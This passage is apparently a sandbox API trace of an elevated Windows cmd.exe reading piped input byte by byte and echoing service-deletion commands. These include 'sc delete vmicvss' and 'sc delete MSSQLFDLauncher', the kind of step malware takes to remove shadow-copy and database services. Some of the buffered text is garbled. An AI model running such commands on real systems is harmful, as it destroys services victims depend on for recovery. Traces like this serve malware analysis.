lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0064.165] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.165] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0064.165] GetConsoleOutputCP () returned 0x1b5 [0064.166] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0064.166] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0064.166] GetProcessHeap () returned 0x1b0000 [0064.166] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0064.166] GetProcessHeap () returned 0x1b0000 [0064.166] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0064.166] GetProcessHeap () returned 0x1b0000 [0064.166] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0064.166] GetProcessHeap () returned 0x1b0000 [0064.166] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0064.166] GetProcessHeap () returned 0x1b0000 [0064.166] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6550 | out: hHeap=0x1b0000) returned 1 [0064.166] GetProcessHeap () returned 0x1b0000 [0064.166] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0064.166] GetProcessHeap () returned 0x1b0000 [0064.166] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6510 | out: hHeap=0x1b0000) returned 1 [0064.166] GetProcessHeap () returned 0x1b0000 [0064.166] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0064.166] GetProcessHeap () returned 0x1b0000 [0064.166] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c97e0 | out: hHeap=0x1b0000) returned 1 [0064.166] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0064.166] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.166] GetFileType (hFile=0x120) returned 0x3 [0064.166] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.166] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0064.167] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0064.167] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0064.167] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0064.167] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0064.167] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0064.167] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.167] GetFileType (hFile=0x120) returned 0x3 [0064.167] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.167] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0064.167] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0064.167] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.167] GetFileType (hFile=0xb8) returned 0x3 [0064.167] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.167] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.167] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.168] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete vmicvss\nsync\n\nface\n") returned 1 [0064.168] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.168] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.168] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.168] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete vmicvss\nsync\n\nface\n") returned 1 [0064.168] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.168] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.168] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.168] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete vmicvss\nsync\n\nface\n") returned 1 [0064.168] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.168] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.168] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.168] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete vmicvss\nsync\n\nface\n") returned 1 [0064.168] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.168] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.168] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.168] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete vmicvss\nsync\n\nface\n") returned 1 [0064.168] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.168] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.168] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.168] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete vmicvss\nsync\n\nface\n") returned 1 [0064.168] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.168] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.168] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.168] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete vmicvss\nsync\n\nface\n") returned 1 [0064.168] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.169] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.169] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.169] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te vmicvss\nsync\n\nface\n") returned 1 [0064.169] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.169] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.169] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.169] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e vmicvss\nsync\n\nface\n") returned 1 [0064.169] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.169] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.169] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.169] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" vmicvss\nsync\n\nface\n") returned 1 [0064.169] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.169] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.169] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.169] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="Mmicvss\nsync\n\nface\n") returned 1 [0064.169] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.169] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.169] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.169] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="Sicvss\nsync\n\nface\n") returned 1 [0064.169] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.169] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.169] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.169] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="Scvss\nsync\n\nface\n") returned 1 [0064.169] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.169] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.169] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.170] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="Qvss\nsync\n\nface\n") returned 1 [0064.170] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.170] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.170] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.170] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="Lss\nsync\n\nface\n") returned 1 [0064.170] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.170] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.170] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.170] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="Fs\nsync\n\nface\n") returned 1 [0064.170] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.170] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.170] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.170] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="D\nsync\n\nface\n") returned 1 [0064.170] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.170] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.170] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.170] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="Lsync\n\nface\n") returned 1 [0064.170] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.170] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.170] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.170] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="aync\n\nface\n") returned 1 [0064.170] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.170] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.170] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.170] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr="unc\n\nface\n") returned 1 [0064.171] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.171] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.171] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.171] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e348, cchWideChar=1 | out: lpWideCharStr="nc\n\nface\n") returned 1 [0064.171] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.171] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.171] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.171] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34a, cchWideChar=1 | out: lpWideCharStr="c\n\nface\n") returned 1 [0064.171] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.171] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.171] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.171] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34c, cchWideChar=1 | out: lpWideCharStr="h\nface\n") returned 1 [0064.171] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.171] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.171] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.172] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34e, cchWideChar=1 | out: lpWideCharStr="eface\n") returned 1 [0064.172] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.172] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.172] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.172] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e350, cchWideChar=1 | out: lpWideCharStr="race\n") returned 1 [0064.172] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.172] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.172] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.172] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e352, cchWideChar=1 | out: lpWideCharStr="\nce\n") returned 1 [0064.172] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.172] GetFileType (hFile=0xb8) returned 0x3 [0064.172] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.172] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.172] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.172] GetFileType (hFile=0x120) returned 0x3 [0064.172] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.172] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete MSSQLFDLauncher\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete MSSQLFDLauncher\n", lpUsedDefaultChar=0x0) returned 27 [0064.172] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x1a, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x1a, lpOverlapped=0x0) returned 1 [0064.172] GetProcessHeap () returned 0x1b0000 [0064.172] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d2630 [0064.172] GetProcessHeap () returned 0x1b0000 [0064.172] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d2630 | out: hHeap=0x1b0000) returned 1 [0064.172] GetProcessHeap () returned 0x1b0000 [0064.172] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1c97e0 [0064.172] GetProcessHeap () returned 0x1b0000 [0064.172] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0064.173] GetProcessHeap () returned 0x1b0000 [0064.173] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x40) returned 0x1caa40 [0064.173] GetConsoleOutputCP () returned 0x1b5 [0064.173] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0064.173] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0064.173] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0064.174] GetProcessHeap () returned 0x1b0000 [0064.174] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0064.174] GetProcessHeap () returned 0x1b0000 [0064.174] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x46) returned 0x1caa90 [0064.174] GetProcessHeap () returned 0x1b0000 [0064.174] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cba10 [0064.174] SetErrorMode (uMode=0x0) returned 0x1 [0064.174] SetErrorMode (uMode=0x1) returned 0x0 [0064.174] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cba20, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0064.174] SetErrorMode (uMode=0x1) returned 0x1 [0064.174] GetProcessHeap () returned 0x1b0000 [0064.174] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cba10, Size=0x62) returned 0x1cba10 [0064.174] GetProcessHeap () returned 0x1b0000 [0064.174] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cba10) returned 0x62 [0064.174] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0064.174] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0064.174] GetProcessHeap () returned 0x1b0000 [0064.174] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 